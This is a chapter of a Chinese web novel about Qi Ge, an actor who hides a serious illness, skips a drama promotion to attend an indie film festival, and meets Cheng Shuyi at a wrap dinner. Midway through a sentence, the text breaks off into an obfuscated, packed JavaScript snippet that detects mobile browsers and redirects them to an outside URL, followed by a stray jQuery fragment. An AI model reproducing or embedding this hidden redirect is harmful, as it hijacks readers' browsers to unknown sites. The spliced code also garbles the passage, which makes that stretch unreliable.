冬天快要来了。


    早上起来站在窗前透气，嘴边已经可以呵出一大片白雾。


    “小伙子，你什么病啊？查清楚没有？”出门买早点的大妈回来，大声地问祁歌。


    “啊，我就……脑炎，”祁歌含糊答道，“来输两天液，明天就出院了。”


    “脑炎？那应该没啥大事儿吧，不像我老伴，也不知道还剩几天，你看人都傻了。”大妈将吃的摆在床头，招呼祁歌一起吃。


    老大爷刚做了手术，如今躺在床上昏睡，很难说之后能恢复多少。


    “不用了，谢谢您，”祁歌对她笑了笑，“我去食堂吃。”


    其实他现在已经不太能吃东西。


    有时候勉强吃了也会反胃吐出来，吐得太厉害的时候，甚至会大小便失禁。


    昨天在病房里的厕所发生这事时，祁歌开着水龙头，耐心等大妈出去了才回病房换了衣服。


    不同于艺术作品中的桥段，真正的生病总是狼狈的，他已经开始初尝其中滋味。


    这个时候不知为何，祁歌忽然想起程书仪带他去过的那家医院国际部。


    程书仪总是对的，即使在这种境况下，有的人也还是会有选择。


    只不过此刻对他来说，这个好像也不是那么重要。


    医院里的白天总是非常繁忙，病人医生护士在各种治疗方案中陀螺一样运转。


    疲惫，也怀着希望。


    而夜晚总是漫长的。


    在疼痛中猝然惊醒时，祁歌颤抖着咬牙吸气，试图像每一次一样，平复自己的呼吸。


    他看到隔壁的陪床大妈侧躺在陪护床上刷着手机，一个个短视频被划上去，光线晃动，与从走廊透进的灰白灯光渐渐融为一体。


    此刻的她是疲倦而麻木的，半点也没有了白天的精气神。


    而祁歌的痛楚也会渐渐被疲倦和麻木淹没。


    可能被这病痛消耗的从来就不止病人自己。


    病，就像是一个张着口的漩涡，不由分说地将周围一切生机与欢愉通通吞噬。


    “哥，你怎么休养几天还更瘦了？”阿远皱着眉打量着祁歌，“公司抓你去做苦力了？”


    “瞎说什么，”祁歌眯着眼睛等化妆，“公司对我好得很。”


    不管怎么说，高姐也算仁至义尽了，不但帮他联系了病房，还派了车从医院接他再送回片场。


    他想说不必这么麻烦，他一个人也可以。但高姐说公司里有排场有派头的人多了，不差他一个，让他管好自己就是给她省心了。


    好的，有道理。祁歌于是全盘接受。


    他的那位新的生活助理也算尽职尽责，每天都操心着他的一日三餐吃穿用度，还会帮他准备要吃的药。祁歌病痛发作时，也多亏他细心照顾和帮忙遮掩。


    阿远最近忙起来之后，在片场的时间没有以前多了，但每天还是会抽时间过来跟祁歌大力吐槽。


    “对了哥，下礼拜那个宣发你去不去啊，高姐没给我准话，说到时候看你情况？”阿远低头翻着手机里的日程表。


    “我不想去，”祁歌懒懒地打了个呵欠，“应该也没什么影响吧？”


    这个宣传活动是给他们拍的那部狗血穿越电视剧预热。这部戏祁歌拍得实在曲折心累，也不知道最终会呈现一个什么效果。


    对他来说，这些实在也不再重要了。


    阿远点点头：“不去就不去吧……不过那个陈逸心在社交平台上艾特你了，要回复吗？”


    “艾特我什么了？”祁歌伸手按了按太阳穴。


    “怎么了，还是头疼吗？”阿远凑近了看他，“复查的时候医生怎么说？”


    “就说……可能拍完这个电影要休息一阵子吧。”祁歌答得半真半假。


    化完妆之后祁歌自己看了眼社交平台。


    陈逸心是在转发官方的宣传通知时艾特了他，说些什么期待再次交锋之类的。


    女主欣欣也转发了官方帖子，还跟陈逸心互动了一下，下面粉丝纷纷刷着花样百出的宣传语，气氛一派虚假融洽。


    看这架势，或许陈逸心是听到了风声，准备等祁歌推了活动，再营造点值得谴责舆论声势出来。


    “高姐，”祁歌乖乖去请示领导，“这个活动我需要参加吗？”


    进景拍了一会儿回来，祁歌才看到高姐的回复：“公司肯定还是希望你参加，但如果身体实在不允许就算了。”


    一直以来，高姐对他的态度向来是雷厉风行咄咄逼人，难得有这种温柔包容的态度，让祁歌觉得受宠若惊。


    他几乎要当场答应去了。


    ——但再次紧急回到镜头前高强度拍了两场戏之后，祁歌整个人被掏空地瘫在椅子上，又觉得或许还是拒绝比较好。


    还没考虑好要不要答应，他就已经开始累了。


    没想到就在当晚，祁歌又收到了另外一个邀请。


    邀请发在他邮箱里，是转发一个独立电影节的信函，说您的参展短片入围，特邀主创们出席。


    好巧不巧，日期竟然是同一天。


    祁歌疑惑了半天，邮件拖到最后看到发件人的落款，才明白是因为前段时间拍了那部古画复原短片，导演将电影节的邀约转发给了自己。


    “恭喜啊，”他直接在微信里发消息给年轻的导演，“最近在拍戏，电影节我就不去了吧。”


    “也恭喜祁老师进了电影大组！”那边直接秒回，“但如果有时间，还是真诚希望您能莅临，我们的片子能顺利产出多亏了您。虽然不一定能拿到什么奖，还是希望您能见证它被照亮的那刻。”


    这什么让人肉麻的文艺措辞……


    祁歌把屏幕挪远一点，再次犹豫了一会儿。


    是的，人在这种境况下，心境当然会不一样。


    祁歌不由问自己，假如这就是生前的最后一场活动，他会希望自己出现在哪里。


    后来在很长一段时间里，祁歌的粉丝们会把祁歌参加那次活动的照片拿出来反复咀嚼。


    那天夜里扬起的微风将他的刘海吹乱了一缕，勾勒在他的眉眼之上，苍白的面容显出几分憔悴而惊心动魄的美。


    这个影展其实没多少人，热度不高。在场的导演和演员大都是刚刚入门，也因此满怀着更多憧憬。


    由于祁歌来之前没有做什么宣传，现场也几乎没有他的粉丝。


    他只是静静走过红毯，坐在台下，望着台上来来往往的人们，也竟然见证了这部短片真的拿到了一个奖。


    “祁老师，一起上去！”导演跑过来拽着祁歌，硬是把他拽上了台。


    祁歌笑着被拉到台上，又这样笑着，望着眼前一群兴奋的年轻人抢着在话筒前说话。


    ——这些都是粉丝后来在官方视频里看到的。


    虽然时过境迁后，这次祁歌出席电影节的画面只剩一片岁月静好，但此时此刻，因为祁歌缺席了电视剧的宣传，粉丝团体里可谓掀起了轩然大波。


    阿远愁得头发都掉了几根。


    “为什么不去参加电视剧的宣传，跑去什么没人care的影展？”


    “哥哥多久没曝光了，公司是想雪藏吗？”


    “下一部戏约在什么地方？”


    “不会干别干，演员的事业期有几年？耽误得起吗？”


    “躺平任嘲吧真的。”


    “血书求祁老师清醒一点换个公司！”


    ……


    这部电影开拍之前，高姐给阿远分配过一个任务，就是要筹划成立祁歌的个人工


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578307|187202||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    作室。


    为此阿远忙活学习了许久。


    最近不知道为什么，这项工作一直处于暂时停滞的状态。


    “要不现在就赶快成立工作室呢？”阿远请示道，“有个官方的发声机构会不会好一点？”


    高姐并没同意，说之后再说。


    要等到什么时候才算之后啊？阿远有些忿忿不平，感觉粉丝说的有些话也不是空穴来风，这公司是不是真有点不靠谱。


    “不至于不至于，”祁歌听说之后先安抚她道，“高姐说得对啊我觉得，这事不急。”


    “真是皇上不急太监急。”阿远悄悄翻白眼。


    祁歌不以为意，嘴角翘得老高。


    也不知道程书仪潜伏在哪个平台，竟然也看到了那个古画小短片获奖的消息，特意给祁歌发来祝贺，还附上红包一个。


    “感谢程总刷的火箭，”祁歌回复说，“感谢您的大力支持。”


    程书仪说不必客气，又问什么时候拍完，回来A市了再一起吃饭。


    “现在片场也不远嘛，哪天再过来玩？”祁歌满怀期待地星星眼问。


    但程书仪遗憾表示最近还挺忙的，并没有空当安排出行计划，又问这个短片既然获奖了，能在哪儿看到。


    “等展映结束，会上流媒体的，程总期待一下。”祁歌说。


    程书仪发了个叹气的表情：“需要等待的事情也太多了。”


    是啊，祁歌想。


    有些等待是有期限也明确知道结果的，有的就不一样了。


    至于那个短片后来终于在流媒体上线，获得了不少的点击量，很多人在弹幕里狂刷“五分钟内我要那位红衣状元郎的名字”之类的事，则都是后话了。


    杀青吃饭那天，程书仪也去了。


    她和祁歌的关系并不算秘密，但大家都很有分寸，没有人瞎起哄，甚至连提及都没有，给予了她超乎寻常的尊重。


    于是程书仪也不好意思要跟祁歌坐在一起，只能隔着桌子遥望几眼。


    由于片场搭建的位置比较偏僻，杀青宴也没选择在市里办，而是就在片场附近找了个礼堂。导演包下了里外两个大厅，主创团队在里面，其他工作人员在外面。


    程书仪有心想找阿远问问情况，阿远却回复说最近忙，杀青宴没来参加。


    祁歌身边跟着一位生活助理，看起来倒是对祁歌照顾得非常细心。


    程书仪不免觉得有些无聊。


    早知道就不来了。


    “感谢程总对我们这部戏的支持，”导演过来敬程书仪，“感谢感谢，尽在不言中了。”


    程书仪点点头，有些心不在焉地喝了这杯酒。


    “程总，我现在正在筹拍一部作品……”跟着说话的这人程书仪不认识，导演介绍了一下，说是一位新晋导演，得过什么新人奖云云。


    那人已经将程书仪的杯子重新续满了。


    程书仪看他表情似乎挺真挚，大概是为了作品想求个投资。


    于是她有些遗憾地摇了摇头，跟这人碰了下杯：“抱歉，酒我喝了，但目前我们没有追加投资影视行业的计划。”


    可那杯酒在碰杯过后就被一只手截了下来。


    “我替程总喝这一杯，”祁歌笑眯眯地说，“也代表我们演员组感谢程总的大力支持。”


    他在“大力支持”几个字上的语气念得认真，让程书仪有点想笑。


    周围桌上的人们交换着困惑或是了然的目光。


    也不知道怎么，程书仪竟然久违地感觉到了一点害羞。


    “一会儿去我那儿吗？”她低声问祁歌。


    “……好啊。”祁歌也低声应道。


    可是在祁歌的眼睛里，程书仪清楚地看到一丝闪避和犹豫。